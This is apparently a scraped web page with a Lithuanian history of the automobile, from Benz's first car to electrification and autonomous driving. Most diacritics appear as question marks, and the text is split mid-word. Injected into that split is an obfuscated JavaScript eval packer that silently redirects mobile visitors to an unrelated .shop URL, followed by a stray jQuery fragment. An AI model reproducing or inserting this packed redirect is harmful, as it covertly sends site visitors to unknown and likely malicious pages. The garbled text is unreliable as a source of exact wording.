Pirmasis Carl Benz automobilis buvo aprūpintas vieno cilindro keturtak?iu benzino varikliu, paprasta va?iuokl?s konstrukcija, mechaniniu vairavimu ir stabd?i? sistema. Nepaisant ma?os galios, ma?o grei?io ir paprastos konstrukcijos, jis tur?jo visus pagrindinius ?iuolaikinio automobilio po?ymius: savaranki?k? energijos ?altin?, mechanin? galios perdavim?, valdom? va?iuojam?j? dal? ir stabd?i??rengin?.
Pradiniame etape automobilis buvo prabangos prek?, prieinama tik keliems turtingiems ?mon?ms. Gamybos s?naudos buvo itin auk?tos, gamyba buvo amat? pobūd?io, o patikimumas buvo ?emas. Nebuvo specializuotos automobili? pramon?s, standartizuot? detali? ir profesionalios technin?s prie?iūros sistemos. Tuo metu automobilio paplitimas buvo labai ribotas.
1.3 Masin? gamyba ir automobilio populiarinimas (1900–1950)
Did?iausias prover?is automobili? istorijoje priklauso amerikie?i? pramonininkui Henry Ford. 1913 m. Ford automobili? gamykloje ?dieg? konvejerin? gamyb? ir pirm? kart??gyvendino standartizuot? masin? automobili? gamyb?. Ford Model T tapo pirmuoju masiniu automobiliu pasaulyje.
Prie? atsirandant konvejeriui kiekvienas automobilis buvo gaminamas rankiniu būdu individualiai, tod?l gamybos ciklas buvo ilgas, o i?laidos auk?tos. D?l detali? standartizavimo ir konvejerinio surinkimo Ford smarkiai suma?ino gamybos s?naudas, labai sutrumpino gamybos laik? ir palaipsniui padar? automobil? prieinam? paprastoms ?eimoms.
1910–1950 m. automobili? pramon? spar?iai vyst?si Europoje ir ?iaur?s Amerikoje. Vokietija, Prancūzija, Did?ioji Britanija ir JAV po vien? sukūr? vientisas automobili? gamybos sistemas. Automobili? konstrukcijos buvo nuolat tobulinamos: keturtak?iai varikliai tapo pla?iai paplit?, patobulintos mechanin?s pavar? d???s, pakabos sistemos, k?bulai tapo tvirtesni ir patogesni.
Taip pat atsirado pirmieji keli? eismo taisykl?s, specialios keliai motorin?ms transporto priemon?ms ir pagrindin? automobili? technin?s prie?iūros sistema. Automobilis palaipsniui i? prabangos prek?s virto kasdieniu transporto priemone pla?ioms gyventoj? grup?ms.
1.4 Techninis tobul?jimas ir pramonin? pl?tra (1950–2000)
Po Antrojo pasaulinio karo pasaulin? automobili? pramon? i?gyveno aukso vystymosi laikotarp?. Gamybos technologijos tapo tikslesn?s, tobul?jo varikli? gamyba, ma??jo kuro s?naudos, labai pager?jo vairavimo komforto ir saugumo rodikliai.
?iuo laikotarpiu susiformavo trys did?iosios automobili? valstyb?s: Vokietija, Japonija ir JAV. Vokie?i? automobiliai i?siskyr? auk?ta gamybos tikslumu, stabilumu ir techniniu progresyvumu; japon? automobiliai – ma?u kuro vartojimu, dideliu patikimumu ir ekonomi?ka gamyba; amerikie?i? automobiliai – erdviu salonu, didele variklio galia ir patogiomis kelion?s s?lygomis.
Tuo pat metu buvo i?rasti ir paplitusios daugelis pagrindini??iuolaikinio automobilio technologij?: vairo stiprintuvas, diskiniai stabd?iai, automatin? pavar? d???, elektronin? variklio valdymo sistema, stabd?i? antiblokavimo sistema, oro pagalv?s ir k?bulo saugos konstrukcijos.
Nuo 1980??j? met? elektronin? technika palaipsniui prad?jo keisti mechaninius automobilio mazgus. Transporto priemon?se buvo montuojama vis daugiau elektronini? valdymo blok?, tod?l automobilis i? grynai mechaninio gaminio virto sud?tingu mechaniniu?elektroniniu prod
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17874228|210199||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
uktu.
Iki 2000??j? met? pasaulin? automobili? pramon? sukūr? tobul? pramonin? sistem?, apiman?i? mokslinius tyrimus, projektavim?, gamyb?, pardavim? ir technin? prie?iūr?. Metin? pasaulin? automobili? gamyba vir?ijo 50 milijon? vienet?, o automobilis tapo pagrindine civiline ?moni? visuomen?s jud?jimo priemone.
1.5 Pertvarka i?manumo ir nauj?j? energij? linkme (2000?dabar)
XXI am?iaus prad?ioje tradiciniai vidaus degimo automobiliai susidūr? su rimtais i??ūkiais: didelis naftos produkt? vartojimas, augantis energijos i?tekli? trūkumas, grie?tos aplinkos apsaugos normos ir augantys keli? eismo saugumo reikalavimai.
Tuo pa?iu metu spar?iai vystosi nauj?j? energij? technologijos, i?manieji jutikliai, interneto technologijos ir dirbtinis intelektas, o tai lemia dvigub? automobili? pramon?s pertvark?: j?gaini? elektrifikacij? ir vairavimo i?maninim?.
Viena vertus, elektromobiliai, hibridin?s transporto priemon?s ir kuro element? automobiliai spar?iai vystosi ir palaipsniui i?stumia tradicinius benzino ir dyzelino automobilius. Kita vertus, nuolat tobulinamos vairuotojo pagalbos sistemos, i?manusis tinklo ry?ys ir autonominio vairavimo technologijos. ?iuolaikinis automobilis i? paprastos jud?jimo priemon?s virsta i?mani?ja mobilia erdve su tinklo prijungimo, s?veikos ir autonominio veikimo funkcijomis.
?iandien pasaulin? automobili? pramon? yra kompleksin?s struktūrin?s pertvarkos stadijoje. Tradiciniai automobili? gamintojai vykdo pertvark?, tuo tarpu atsiranda naujos alternatyvi? energij? automobili? gamybos ?mon?s. Visa pramon? i?gyvena did?iausi? technologin? ir pramonin? revoliucij? nuo automobilio i?radimo laik?.